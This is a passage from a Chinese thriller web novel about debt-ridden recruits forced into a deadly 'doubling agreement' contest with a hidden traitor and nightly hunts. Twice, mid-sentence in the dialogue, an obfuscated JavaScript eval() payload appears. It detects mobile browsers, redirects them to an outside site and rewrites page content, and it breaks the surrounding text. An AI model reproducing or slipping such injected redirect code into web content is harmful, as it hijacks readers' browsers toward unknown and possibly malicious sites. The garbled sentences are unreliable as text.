“有了!那些花瓶!”王嘉华终于意识到这些花瓶的作用:“刚刚就有人打碎了花瓶,目的应该就是为了吸引黑袍人的注意。如果真的是这样,那么应该已经有其他员工已经抵达12号房间了。” 没有时间犹豫了。王嘉华再次拉开了房门,这次他朝着左侧开始移动。 “我记得的,第一个拐角也有一个花瓶。杰西卡说过走廊是回型的,那个没有门牌号的房门在那段走廊正中间的位置,黑袍人现在应该就在那。必须把黑袍人引到第一个拐角,然后迅速从另一边绕过去。” 时间非常有限,但这是唯一办法了。 很快,王嘉华来到了3号客房和4号客房之间的拐角处。尽管船体有些晃动,那个花瓶依然完整地立在原地。确定了周围没有动静和人影,王嘉华悄悄地摸了过去,咬着牙把花瓶推倒。 花瓶立刻碎在了地上,发出了响声。同时,王嘉华也感觉到黑袍人沉重的脚步从左侧的走道深处传来。 “快跑!”成功吸引到了黑袍人的注意,王嘉华用最快的速度朝着反方向飞奔而去。 “5号房、6号房……”王嘉华的视力已经完全适应了黑暗,身体也开始习惯了晃动的地板。 “7、8、9、10……11!”很快,王嘉华再次回到了11号房间的门口。 这一次,王嘉华依旧没有看到写着数字‘12’的房门。 8点59,时间只剩最后一分钟。 “看来我的推测没错,那个没有门牌号的房间就是12号房间!”没有其他的选择,王嘉华只能硬着头皮继续往前方的拐角冲去。 当王嘉华冲过拐角时,他立刻停在了原地——在他面前的是三具倒在地上的尸体。 “12号房间!12号房间!”连恐惧的时间都没有,王嘉华迅速往前冲去。此刻王嘉华的右侧是1号房间的房门,而右前方,正是那个没有标注门牌号的房门。 这里的一切都和2个小时前刚来到客房区的时候一摸一样,除了面前的三具尸体,以及那个迎面朝王嘉华走来的黑袍人。 “完了!” 黑袍人慢慢从黑暗中走来,并来到了那个空白房门的门口。 王嘉华的双腿似乎比他的脑子更害怕,他瞬间失去了站立的能力,跪倒在1号房门的门口。 黑袍人没有停留,继续朝王嘉华的方向走来。此时,距离9点整只剩最后10秒的时间。 “等等……那个没有门牌号的房门,真的是12号房间吗?房间的编号不应该按从小到大的顺序排列吗?”看着黑袍人身后那扇没有号码的房门,一个念想从王嘉华的脑内深处迸发:“如果房间的编号真的是按顺序排列的,那么这个没有门牌号的房间就不是12号房间,而是原来的2号房间……这不是谜题的答案,而是一个提示!” 黑袍人已经掏出了手枪。 “仔细回想一下,2号房间的房门没有数字,餐品价目表也没有2号套餐……整个客房层,所有有数字标记的地方,从来没有出现过‘2’,就好像是有人故意抹除了‘2’这个数字。” 黑袍人的手枪已经上膛。 “如果‘2’这个数字全都被抹除了,那么原本应该写着‘12’的那个数字就会变成‘1’。” 黑袍人已经将枪口对准了王嘉华。 王嘉华的双腿突然恢复了知觉,朝着身旁的1号房门翻滚过去,随后迅速起身,拉开了门把手,将1号房间的房门被打开了——这是一个宽敞明亮的会议厅,5个陌生的人围在中央巨大的圆桌旁: 身材高大魁梧的肌肉男,一手掐着一个戴着眼镜、露出傻笑的瘦弱胡渣男的脖子,另一只手正准备挥拳揍上去; 一个打扮时髦的靓丽长发女人正在焦急地劝架; 一个高瘦的毛衣男人正坐在椅子上,双手撑着额头,似乎在发愁,当他看到王嘉华时,面部出现了震惊的表情; 还有一个短发的小女生闭着眼睛靠着墙,双手插在口袋里,对眼前的事漠不关心。 5个人同时停下了动作,看向了门口的王嘉华。 此时,黑袍人也出现在了王嘉华的身后,枪口已经对准了他的后脑。 4. 第三章 第三章·入职协议 王嘉华察觉到了背后传来的寒意,害怕得不敢移动。 “看来人都到齐了。”身后传来熟悉女人的声音,王嘉华猛然回头,黑袍人摘下了染血的面具——是杰西卡。 “杰西卡……你为什么……”王嘉华颤抖着看着杰西卡。 杰西卡解开了黑袍,将手枪收回了腰间,走进了会议厅。与此同时,几个白色西服的男人从楼上跑了过来,一拨人开始搬运清扫走道的尸体,另一拨人也跟着走进了会议厅,站在不同的角落守着。 肌肉男还掐着眼镜男的脖子。杰西卡走到了肌肉男面前,一把抓住了肌肉男的粗臂:“会议室是禁止暴力的。” 所有人都沉默地看着杰西卡。肌肉男松开了手,把怒火憋了回去;眼镜男一边摸着脖子咳嗽着一边远离。 长发女人害怕地问:“外面那些人都死了吗?” 毛衣男:“这到底是怎么回事,杰西卡?” 短发的女孩又面无表情地闭上的眼睛。 “所有人都坐下吧。”杰西卡松开了肌肉男的手,走到了会议室的主座上坐了下来。包括王嘉华在内的6个人见状,也全都安分地围着圆桌坐了下来。白衣男关上了会议室的门。 圆桌的正中央有一个圆形凹洞,盘子大小,里面是一个正烧着烈火的火炉。 杰西卡:“刚刚是面试的环节。” 肌肉男:“面试?” 杰西卡:“在座的六位都通过了面试,恭喜你们。” 长发女人有些惶恐:“如果没有通过……就是外面那些人的下场吗?” 所有人都沉默了,恐惧和压力加速了整个会议室的寒冷,连中间的火炉都开始逐渐消退。王嘉华更加不敢作声,他觉得自己根本不应该出现在这里。 杰西卡:“既然各位都通过了面试,那么欢迎来到南顿集团!”说着杰西卡开始鼓掌,没有人附和。 原本的10个参赛者,一瞬间就只剩下了6个人。 “我一共要说两件事,首先,”杰西卡从抽屉里拿出了6张纸,并派发到了每个人的面前。 “《翻倍协议·补充》”每张纸上的内容都一样。 杰西卡:“相信各位之前都已经看过了这个协议了,这张纸上的内容是这个协议的补充说明,也就是比赛的具体规则。” 所有人看着手中的这张补充协议: 《翻倍协议》 ?任务:雇主每天都会为所有员工派遣一个公共任务,员工需共同合作,完成当天的公共任务; ?奖励:员工每人持有并绑定一张银行卡,只要完成了当天任务,次日0点,所有员工的银行卡余额都会翻倍;7天后的0点(即11月8日0点),翻倍奖励全部结算后,所有员工中,银行卡余额最多的人将获得比赛胜利; ?每位员工均代表其背后的企业,获胜者所代表的企业将获得黑山羊症特效药“方程式”的独家销售权。 所有员工开始议论起来。 肌肉男:“翻倍原来是这个意思!” 杰西卡:“没错,不管你账号上的余额有多少,只要满足了条件,都将会翻倍,这就是我们对员工的奖励机制。” “这……真的没问题吗?”毛衣男:“如果本金数额过大,南顿不会支付不了吧?” 眼镜男一直在玩弄着自己的手指,似乎有些精神不正常。王嘉华注意到,傻笑着的眼镜男好像缺了一颗上门牙。 “这份合同是具有法律效应的。”杰西卡非常从容:“如果南顿没有按协议支付酬劳,你们完全可以起诉南顿。不过这种情况是不可能发生的,” 众人疑虑地看着杰西卡。 杰西卡:“南顿为这次的协议准备了你们无法想象的巨额数字,我们是无论如何都不可能违约的。” “是吗?”一直沉默不言的短发妹说:“那到底是什么样的人给了南顿如此庞大的投资金额呢?” 杰西卡:“这就不需要你们关心了。你们要做的,就是在这7天内,尽自己最大的努力完成你们的任务。” 长发女:“可……如果任务没完成呢?” “这就是我要说的第二件事。”杰西卡表情突然变得凝重:“你们刚刚拿到的,是明面上的规则;但实际上,我们还有不能写在协议上的另一个规则,那就是内鬼。” 所有人紧张地看着杰西卡:“内鬼?” 杰西卡:“没错。每天早上8点,所有员工必须来这个会议厅参与身份抽取。身份只有两种,1名内鬼,其他都是好人。如果当天的公共任务完成了,那么所有好人的余额翻倍,就像协议上说的那样;但如果当天的任务失败,则只有内鬼一人的余额翻倍。” 短发妹:“也就是说,内鬼的目的是阻止大家完成任务。” 杰西卡:“是的。好人不知道谁是内鬼,这需要你们自己去分辨。内鬼只当一天,第二天所有人又会重新抽取身份。” 所有人看着彼此。 “另外,如果任务失败,内鬼还有一个额外的奖励。”杰西卡:“也就是猎杀环节。” 所有人:“猎杀环节?” 一直玩弄手指的眼镜男也抬起了头。 杰西卡:“如果任务失败,当天晚上将会进行猎杀环节。这个所谓的猎杀,各位在刚刚的面试环节已经体验过了。” 毛衣男:“意思是……之后还会有这样的杀人环节?” 杰西卡:“刚刚扮演杀手的人是我,而在猎杀环节中,杀手则由当日的内鬼来扮演。” 王嘉华惊恐地看着杰西卡。 杰西卡:“死在猎杀环节的人,其银行卡上的全部余额都会立即转移到内鬼的银行卡上,这就是作为内鬼的额外奖励。” 如果没有完成任务,就会有死亡的风险。王嘉华绝望地抱着头,没想到之前的料想全部应验了。 杰西卡:“猎杀环节会在南洋酒店中进行。” 这时,船笛声响起,游轮也停泊到岸了。所有人来到了甲板上,在他们面前的是一座孤岛。很明显,这里已经不是新加坡了。 杰西卡:“这座岛屿不属于任何国家的管辖,因此也不受任何法律约束。” “看到深处那座酒店了吗?”杰西卡指着孤岛上远处的一道光点:“那就是被废弃多年的南洋酒店。” 黑夜中,所有人看向了那道光点——那看起来像是一座荒废的庄园,庄园的中央隐约能看见一栋建筑的轮廓。 杰西卡:“平等号游轮,每日晚上9点都会停泊在新加坡女皇镇的码头。每日晚上9点,无论任务是否完成,所有人都必须回到平等号的会议室中。若任务完成了,则所有人都可以平安地在各自的房间度过当夜;若任务失败,我将公布内鬼的身份,并且所有人都会被强制带入南洋酒店参与猎杀环节。” 王嘉华跪了下来。 杰西卡:“至于能否活到猎杀结束,就要看各自的本事了。” “活不了,我一定活不了的……”王嘉华趴在地板上原地摇头,就像被抽干了灵魂。 长发女人和毛衣男也无力地坐了下来,眼神充满了绝望。 肌肉男神情凝重地看着那道光点,似乎在思考什么。 眼镜男还在专心地撕扯着手指上的角质,满脸傻笑:“嘿嘿!” 短发女孩依旧面无表情地闭着眼,和刚才一样。 “当然,”杰西卡看着阴沉的各位:“如果各位不愿意,也可以不签署协议,放弃这份工作。” 没有人回答。 “既然这样,我就默认你们都同意了。”说着,杰西卡拿出了6支笔,分别递交给了6人。 包括王嘉华在内,六个人都签署了《翻倍协议》。 王嘉华知道,其他人一定也和他一样,都是背负着巨额的债务、迫不得已才会走上这艘船的。而与别人不同的是,王嘉华的目的不仅是为了偿还一亿元的债务,更重要的是获取最后的胜利,夺得‘方程式’的独家销售权。 王嘉华自己也很清楚,这是一份无比艰难的工作,比其他人更加艰难。 …… 船笛声再次响起,平等号开始回航。2个小时后,平等号再次回到了女皇镇的码头。 杰西卡:“记住,在白天执行任务的阶段,任何人不能做出违法的行为;一旦我在白天发现员工有确凿的证据证明违反新加坡法律,我会立即代表南顿开除他,并取消所有合约。” 入职会议终于结束了。所有人回到了各自的房间入睡,准备迎接着第一天的上班。 王嘉华躺在自己客房的床上,仔细回顾和分析着《翻倍协议》的规则。 “《翻倍协议》概括起来很简单:每天做一个任务,如果任务成功,好人手中的钱翻倍;如果任务失败,内鬼不仅手中的钱翻倍,当夜还能获得一个杀人抢钱的机会;7天后,活着的人中钱最多的就能获胜。” “余额翻倍——这是协议上的明规则。卡尔德曼说的没错,这份工作的奖励上限的确是不可估量的。对于每个员工来说,本金越多,赚的钱就越多,可问题是这个本金从哪里来呢?就算是能翻倍,一亿元对于贫困的我来说根本就是天文数字。” “猎杀环节——这是不在协议上的暗规则。抽中内鬼自然是最好的;如果我抽不中内鬼,那就必须拼命完成公司派发的任务,否则一旦进入猎杀环节,不论内鬼是谁,以我的性格我应该都很难活下来吧。” “这样的过程一共要进行7次……” “好在目前没人知道艾雅琳的存在。绝对不能让艾雅琳知道我在靠这种不体面的工作赚钱,不然我的脸就要丢光了。” 再次看着新加坡的夜景,累到极致的王嘉华合上了双眼。无论接下来有多少艰险,至少今天他能安稳地睡一夜。 …… 深夜0点,比赛正式开始了。 会议室,杰西卡还在一边敲打着笔记本,一边听着电话。 “都安排好了吗?”电话另一头,一个中年男人的声音。 杰西卡:“全都安排好了,所长。” “你觉得结局会是什么样?” 杰西卡:“大部分员工都会死吧。” “我这么做会不会不好啊?佛祖会保佑我吗?” 杰西卡:“没有任何问题,所长。这些人都是穷凶极恶的坏人,这是你自己说的。” “我只是想看看那些老板的诚意。‘方程式’是我们多年的心血,我希望能把它交给一个真正愿意为它付出的老板。” “愿意付出真心的投资人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780697|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会投入最多的金额,你设计的这套规则是最完美的,放心吧。”杰西卡的语气有些敷衍。 …… 11月1日,早上7点50。6名新入职的员工全都来到了会议室,等待着部门组长杰西卡的出现。 第一天上岗,没有人敢迟到。 “既然大家都到了,有件事我得跟你们说一下。”肌肉男说着,拿出了昨夜大家签署的那份《翻倍协议》:“这份协议的内容大家都很清楚了吧。” 看到有人点头,肌肉男继续说:“杰西卡昨天公布的补充协议,这里面的内容目前只有我们几个知道,我们背后的大老板并不知情。” 短发女孩:“你想说什么?” 肌肉男把协议摊在桌上,指着其中一句话:“你们看这句话。” 除了眼镜男,所有人都凑了上来。 “所有员工的银行卡余额都会翻倍。”肌肉男指着这句话说:“也就是说,余额会翻倍这件事,只有员工,也就是我们六个人知道。我们每个人背后都代表着一个企业,换句话说,我们每个人背后都有一个超级有钱的大老板在,我说的没错吧。” 没有人反驳。 大家都已经明白这个游戏的玩法了:每个员工原本都是穷人,并没有多少积蓄,但每个人背后的大老板都是有钱人。员工想要靠翻倍的奖励赚大钱,唯一的方法就是想方设法让自己的老板给自己的银行卡打钱。 肌肉男:“大家来这里工作,想必都是为了给自己挣钱。你们可以试想一下,如果你的大老板知道了余额会翻倍这件事,他会这么做?” 毛衣男思考了一会:“如果我的老板知道这件事……在他眼中,这无疑是一项回报率极高的投资。” 王嘉华从来没有想过这个问题,因为他知道卡尔德曼绝对不会给自己打钱。 “没错!”肌肉男:“以大老板的实力,他们完全可以利用这个翻倍机制将整个南顿买下来。如果我是你的大老板,我就会直接拿枪指着你的额头,强迫你把银行卡和密码交出来,你一点商讨的余地都没有。” “说得通俗一点,”肌肉男:“我们不能把这么好的事告诉那些资本家!只要我们都不说,我们不仅能骗到大老板的投资,还能独吞翻倍带来的收益。” 长发女人:“有道理!” 眼镜男也凑了过来:“哦?” “在工作中表现得越优秀,让老板对你获胜的信心越大,你获得的投资就会越多。”这是所有员工心照不宣的事情。 肌肉男:“所以我建议,我们所有人都不要把这份补充协议给任何其他人看,尤其是自己的大老板。” 毛衣男:“可如果大老板问起来怎么办?既然是一场比赛,他们总会关心比赛的具体规则吧。” 肌肉男:“那就重新打印一份假的补充协议给他们看,把‘余额翻倍’这一条给删掉。” 短发妹:“这样的确可行,但南顿集团的公章怎么办?” 没有南顿的印章,大老板是不会相信假合同的。 “啊……”听到需要印章,一直在当听众的王嘉华突然发话:“我之前是一个刻章师,或许我可以伪造一个印章。” 众人都看向王嘉华。 为了方便在长留新加坡,王嘉华把刻章的工具也从吉隆坡带来了。 “好,那就你来弄。”肌肉男说。 长发女:“可这样不算违法吗?杰西卡说一旦发现就会被开除的。” “放心吧,我以前是个律师,我很清楚的。”肌肉律师男:“我们只是私下里把一份假合同给老板看看,并不需要签署新的合同,所以并不违反任何法律。” “你们都到了呀。”这时,杰西卡推开了门走了进来。 所有人停止了交谈,乖乖回到了自己的座位上。 …… 8点整。 圆桌上,杰西卡面前,6张不同颜色的信封散落摆放着。 杰西卡:“这是今天的身份卡片,每个人过来选一张自己喜欢的颜色吧。”每个人都站了起来,纷纷走到杰西卡身边,拿走了一张信封。 王嘉华回到座位上,紧张地拆开了手中白色的信封。 杰西卡:“注意不要让别人看到哦!看完自己的身份后就把身份卡片和信封一起扔进火炉里。” “你今天的身份是普通员工。” 看着卡片上的字,王嘉华松了口气,将卡片和信封一同扔进了火炉。 王嘉华并不想抽中内鬼,虽然他不知道内鬼应该做什么,但他很清楚,以他的演技水平基本不可能藏住自己内鬼的身份。 “还是和大家一起找内鬼的身份更适合我。”王嘉华这么想着,同时也在仔细观察着其他人。 其他人的表情没有多大的变化,看起来好像都是一幅可惜的样子,看来除了王嘉华以外,每个人都想抽中那张“内鬼”卡。 不过所有人心里都清楚,那个真正的内鬼已经在6个员工中诞生了。 王嘉华又看了看杰西卡,她也在看着每个人,没有任何表情,尽管她已经知道今天的内鬼是谁了。 “那今天的任务是什么呢?”肌肉男严肃地问。 杰西卡背后的屏幕亮了起来,所有人都望了过去。屏幕上写着今天的任务。 5. 第四章 第四章·模型玩具1 屏幕上写着今天的任务: 「任务公告·第一天」 委托人:南顿制药所所长。 委托内容: 一个月前,所长8岁大的独生子心爱的模型玩具遗失了,这个模型玩具全世界只有一个! 据可靠消息,玩具被一个乞丐捡走了,且玩具仍在那个乞丐的手中,而那个乞丐每天都会出现在大巴窑区。你们今天的公共任务就是找到这个模型玩具,将其带回游轮交给杰西卡。 提示:这个模型玩具价值1000新币。 “这就是你们第一天的任务。”杰西卡:“任务中所有的花费都由你们自己承担,不过这个会议室你们可以拿来用。我今天一整天都会待在游轮上等你们的消息。” 说着,杰西卡拿出了一个模型玩具的3D打印复制品放在了桌上:“这是你们要找的模型玩具的复制品,这个复制品和实物的尺寸颜色和形状完全一样,你们可以拿去参考。” 说完,杰西卡就离开了。会议室只剩下6个人。 王嘉华拿着模型复制品翻看着——这是一个超人的模型,红色的身体和蓝色的披风,大概20公分高,脚下是一个圆形的银色底座。虽然是3D打印的复制品,但看起来很精细,和真正的模型区别应该不大。 其他人看着屏幕上的任务,开始议论起来。 “找一个乞丐?这个任务看起来并不难嘛。”毛衣男自信地说。 长发女:“如果一个乞丐知道自己手上的玩具价值1000元,我觉得他不会轻易告诉别人这件事吧。” “嗯……”眼镜男一边听着一边点头。王嘉华愣愣地看着眼镜男,也不知道他是不是真的在听。 肌肉男看着屏幕上的地图:“大巴窑区并不大,大致可以分成6个街区。” “可惜不能做违法的事,不然就可以直接偷走了,”毛衣男思考着:“现在如果想要一个乞丐自愿把他手里值钱的家伙交出来,那就只能花钱去买了。” 王嘉华注意到,眼镜男的目光总是会瞟想长发女人的身上,似乎一直在关注着她。 长发女:“可我们怎么确定那个乞丐是谁呢?印象里大巴窑区那片的乞丐还蛮多的。”最近的难民潮,导致很多人偷渡来到新加坡求生。 “总之,6个街区的话,我们每人负责搜索一个街区就行了。”肌肉男说着,用手机对着圆桌上那个模型复制品拍了几张照片:“去找每一个乞丐,然后打听关于这个玩具的事情。如果遇到了持有那个玩具的乞丐,就直接花钱买下来。” “你确定要这样分配任务吗?”短发妹面无表情地说:“你别忘了,我们中可是有一个内鬼,以及一个不知道能不能听懂人话的傻子。”说着,短发妹看向了眼镜男。 所有人一起看向了眼镜男。此时的眼镜男并没有在意其他人的目光,而是一直看着长发女人。 长发女感到有些畏缩和不适:“你一直看着我干嘛?” “我认得你,”眼镜男凑了过去,露出了他那缺了一颗的上门牙:“你是佘孔渝,那个失踪了半年的地下歌手。” “你是……歌迷?”佘孔渝一边回答着,一边试图远离眼镜男。 佘孔渝,26岁,女,新加坡人,原本是地下歌手,半年前因丑闻而隐退,后来失踪,锁骨中间有一道伤疤。 眼镜男盯着那道伤疤,本想继续凑近看去,但此刻他才注意到,所有人的目光都在他的身上。 肌肉男站起来:“你又想挨揍了吗?” “噗——”眼镜男扶了扶眼镜,看着大家:“乞丐怎么可能乖乖告诉你们玩具的事情。” 肌肉男:“你什么意思?” 眼镜男:“乞丐的另一种身份是情报贩子。大部分乞丐身上没有任何值钱的物件,所以对他们来说,最值钱的就是藏在他们脑子里的情报。想套出乞丐的话,就做好花钱买情报的准备吧。” “那不正好,”肌肉男:“这不就是一个找老板要钱的好理由?” 对于那些身位上流的大老板来说这些小钱根本无关痛痒。 “至于内鬼,”肌肉男看了一圈每个人的表情:“虽然我也不知道内鬼是谁,但他只有一个人。只要平均分配搜索范围,我们能找到玩具的概率就是5/6。当然,如果你们有更好的办法也可以说出来。” 没有人能想到更好的办法。 肌肉男指着眼镜男:“如果你是内鬼,我劝你现在就告诉我们,否则被我找到,我一定再把你扁一顿。” 眼镜男猛烈地摇了摇头,乖乖地坐回了自己的座位。 王嘉华内心开始犯愁了:“打工还要自己掏钱……只能祈祷我分配到的街区没有那么多乞丐吧……”交完这个月的住院费后,王嘉华的银行卡里只剩下2000元,这是他能凑到最多的数字了。 肌肉男:“既然确定好了战术,那就出发吧。”所有人都起身离开了会议室,下船准备前往大巴窑区,寻找那个捡到了玩具的乞丐。 下船前,王嘉华注意到那个短发女生又回了一趟会议室。 …… 上午9点,大巴窑区。王嘉华来到了自己负责搜索的街区。 “你欠了我一个亿还敢问我要钱?”手机另一头的卡尔德曼破口大骂:“我一块钱都不会给你的!完不成任务你就去死吧!”说完就挂断了。 “生什么气嘛!”王嘉华放下手机叹了口气:“本来也没指望他会打钱。” 看着眼前人来人往的街道,王嘉华摸了摸扁平的钱包:“哎……只能看看运气了……” 尽管还是上午,商业繁华的大巴窑区就已经人群密集,是本地人都游客都偏爱的地区。“如果我是乞丐,我应该也会选择在这里做生意吧。”王嘉华这样想着,沿着街边搜寻着,走到了一个乞丐的面前。 “你好,”王嘉华弯腰看着乞丐,把手机里的照片亮出来:“请问你有见过这个玩具吗?” 王嘉华注意到,这个乞丐右边的袖子是空的。 乞丐:“好像有见过。” “啊!”王嘉华惊喜地说:“真的吗?你捡到了吗?” “难道运气这么好?第一个就让我找到了?”王嘉华激动起来。 乞丐伸出手:“肚子太饿,想不起来。” “给你10块钱!”王嘉华把10元现金放到乞丐手里。 乞丐摇了摇头:“还是想不起来。” 就这样来回了好几次,越给越多。直到王嘉华交出了100元时,他终于意识到自己被骗了。 “没见过。”乞丐摇了摇头。 “对不起,打扰了。”王嘉华转身离开,紧接着又遭遇了三四个乞丐,每个乞丐都进行着同样的操作……很快,王嘉华就已经白白损失了500元。 “找了半天什么线索都没有。”王嘉华有些累了,他垂头丧气地走下了天桥,突然发现了一件事——好像每个乞丐都有一个袖口或裤腿是空的,看样子都是缺手或者缺脚的残疾人。 这时,王嘉华瞄见天桥下又坐着一个乞丐,不过这个乞丐的四肢倒是健全的,就是满脸白胡,看起来有点老。抱着逐一排查的原则,王嘉华还是不情愿地走到了老乞丐面前。 “100块给你。”王嘉华直接朝老乞丐的面前扔了100元,然后拿出手机:“告诉我你见过这个玩具吗?” 王嘉华已经不想东拉西扯,直接一口价比较节约时间。 “没见过。”老乞丐摇了摇头。 “很好。”王嘉华刚刚转身,突然被老乞丐叫住:“客人你去哪?” 王嘉华困惑地回头看着老乞丐:“有什么事吗?” 老乞丐:“你给了我100块,难道就只是为了问一个玩具吗?” 王嘉华看着这个老乞丐,有点傻眼:“你讨钱还有这么多讲究?” “讨钱?”老乞丐轻笑了一声:“难不成你把我当要饭的了?” 王嘉华:“你不就是要饭的吗?” “那你可看错了,”老人抬起头:“我不是乞丐。” 王嘉华:“那你是什么?” “我的职业是大师。”老人黑发白胡,穿着格子衫盘坐在地上,手中玩弄着一枚不知从哪里捡来的硬币,认真地看着王嘉华。 这一看就是个江湖骗子。王嘉华本想一走了之,但看老人的样子似乎还有话要说。 “作为我为数不多的客人,你有什么困惑都可以问我,我一定会帮你解答的。”老人:“我知道世界上所有的事情,有异于常人的能力,不仅能预知未来,还能改变时间,穿越古今……” “行了,你这也太假了。”王嘉华打断了老人的话:“我还在赶时间,就不打扰了。” “你的生命不多了。”王嘉华刚准备走,突然又被老人的话给停下:“不出一个星期,你就会死。” 王嘉华惊恐地看着老人:“等一下?”一个星期,正是这场比赛的时限。 老人没有理会王嘉华,闭上眼睛,双手将硬币叩在自己的鼻尖,思考了一会,然后睁大双眼死盯着王嘉华:“我看到了。” 王嘉华:“你……你看到什么了?” 老人:“夜晚,你会死在一个昏暗的酒店,而杀死你的人,你已经见过了。” 王嘉华:“昏暗的酒店。” 猎杀之夜,南洋酒店……一切都与翻倍协议有关,而且是不能被公开的那部分。眼前的这个老人到底是怎么回事?他怎么可能知道这件事? 王嘉华:“老人……你……” 老人:“叫我大师。” 王嘉华:“啊!大师!” 无名大师:“我也不知道杀你的人是谁,但如果你想改变命运,这一个星期内都不要去任何酒店,这是我唯一能给你的忠告。” 王嘉华看着无名大师,不知道该说什么,心中充满了恐惧。 “还有,”大师指着王嘉华的双眼:“散华是你基因自带的能力,不过最多只能释放五次。释放完第五次后,你的中枢神经就会出现不可逆的损坏。” 王嘉华:“散华?” “也就是你眼球充血变红的样子。”大师:“在散华的状态下,你的视、听、触感会大幅提升,反应速度会提高好几倍,并且会暂时忘记所有的恐惧和疼痛,在关键时刻能帮助你化解危机。” 王嘉华想起了之前在汤旗大楼发生的事。 “散华是一种基因自我修补的表现,是只有过于弱小的人类才拥有的能力,因此,散华需要积累日常的消极情绪才能释放,”大师:“你最近已经释放过一次了,剩下的四次,不到迫不得已的时候尽量不要释放。” 王嘉华:“中枢神经出现不可逆的损坏,会变成什么样?” “很难说,”大师摇了摇头:“轻则双目失明,重则变成植物人。” …… 国立医院,艾雅琳的病房。孤单的艾雅琳躺在病床上,正无聊地听着收音机里的广播。这时,一个人推开了病房的门,慢慢地走到了她的身边。 …… 中午12点半。没有人找到玩具的线索。 王嘉华半信半疑地告别了无名大师,继续搜寻着那个可能持有玩具的乞丐,很快,他的钱包就见底了。 王嘉华坐在马路边的长椅上,低着头翻数着钱包里薄薄的钞票:“再这样下去,连午饭的钱都没了。” 马路的对面,是新加坡最高级的餐厅——麦森滨海。 “如果卡尔德曼给我打钱了,我一定要去这个酒店里吃一顿!” 一个人突然站在了王嘉华的面前,王嘉华抬头看去——是毛衣男。 “是你!”王嘉华刚准备起身搭话,却被毛衣男一把揪起了领子。 王嘉华:“你……你干嘛?” 毛衣男:“你真的不记得我了吗?” “啊?”王嘉华仔细看着毛衣男愤怒的脸,的确感到了一丝面熟:“不好意思,我们是……有什么过节吗?” “你这个家伙!要不是你,我早就坐着我的私人飞机穿越北回归线了,根本不用来这签署什么翻倍协议!”毛衣男抿着嘴怒斥到:“你毁了我整个人生!” “我?毁了你的人生?”王嘉华努力回想着最近遇到的所有人,还是没有任何头绪:“可我不记得我有得罪过什么人啊?” 毛衣男:“你真的想不起来了?” 王嘉华:“能给点提示吗?” 毛衣男:“汤旗大楼,卡尔德曼的办公室!” 王嘉华:“汤旗大楼……你说的是2天前的事吗?你当时也在场?” 毛衣男:“没错!” 王嘉华:“你是那个保镖?还是安保人员?” 毛衣男:“都不是!” “当时不就只有保镖和保安吗?诶不对!”王嘉华:“好像还有两个人!有吗?” 毛衣男:“我是那个运货的!” “运货的?”王嘉华突然想起来,有两个运货人员从门口进来,说是要把大佛瓷像搬运出去。 王嘉华:“可……我不知道你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780698|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么也会来南顿打工啊?这和我有什么关系?” “当然和你有关,而且全部都是因为你,”毛衣男:“我们盯了那座大佛整整一年,终于等到卡尔德曼把大佛买回来,我们才有机会伪装成运货员把大佛偷走。” “你们要偷大佛?等下!”王嘉华全部想起来了,惊讶地看着毛衣男:“难道你们就是……盗贼兄弟?” “但是你小子!”毛衣男手抓得越来越紧:“你小子竟然直接把大佛砸碎了!你知道我们伪装成汤旗集团的运货员有多难吗?你知道我们为了偷走大佛做了多少准备吗?” “啊,原来是这样!” “盗走大佛的计划被你给毁了。我们偷渡来到新加坡,却没想到债主莘夫人竟然从印尼追杀到了这里!” “莘夫人!”王嘉华“我听说过这个名字!” 在追查卡尔德曼和汤旗集团的时候,王嘉华就听说过莘夫人的名号。 “那可是东南亚三大□□之一!最后我哥为了救我自己被抓到了。”毛衣男不甘心地说:“现在我为了把我哥赎回来,被莘夫人的老大娜娜逼着来这签了这个翻倍协议——王嘉华,这全都是你害的!” 惊呆的王嘉华不知道说什么。不过说到这里,毛衣男并没有继续发火,他立刻就冷静了下来,松开了王嘉华的衣领。 “对不起啊……”王嘉华想了半天只想到了这一句话。 毛衣男低着头,把自己的钱包拿出来打开。王嘉华看到,毛衣男丰厚的钱包里面全是1000元面额的大钞。 “拿去吧。”说着,毛衣男从钱包中抽出了3张递给王嘉华:“我知道卡尔德曼不会给你打钱,你先用这笔钱把你负责的区域搜索完。” 王嘉华唯唯诺诺地接过了那3张千元大钞:“谢谢你……”不想得罪任何人的王嘉华,只能扮演老实人的角色。 “不用谢我,我是为了完成任务。大佛的这笔账我早晚要跟你算清楚的。”说完,毛衣男转身准备走。 王嘉华突然问道:“对了,你叫什么名字?” “凯文。” 毛衣男走了。王嘉华看着手中的3张巨额钞票:“原来其他人都有这么多钱的吗……” 王嘉华有时会幻想,如果自己也能拿到大老板的投资,会不会也跟他们一样潇洒。 …… 下午2点。依旧没有任何关于玩具的线索被发现。 靠着凯文给的钱,王嘉华也基本上问完了整个街区的乞丐。这时,王嘉华的手机收到了一个消息——一个名叫南顿蜘蛛的应用程序,肌肉男发来了群聊消息:“所有人都没找到玩具,先全部来中央公园集合吧。” 南顿蜘蛛,由杰西卡开发的沟通应用程序,用于南顿内部员工之间的互相交流。入职的第一天,委托部的所有员工都‘自愿’安装了这个程序。 …… 中央公园,六人全部来到了中央公园的喷水池边。王嘉华看了看凯文,赔了一个笑脸,凯文并不想说话。 肌肉男叹了口气:“呵,看来是内鬼那边出了问题呀!” 佘孔渝:“啊?难道捡了玩具的乞丐真的在内鬼负责的那个区域里?” 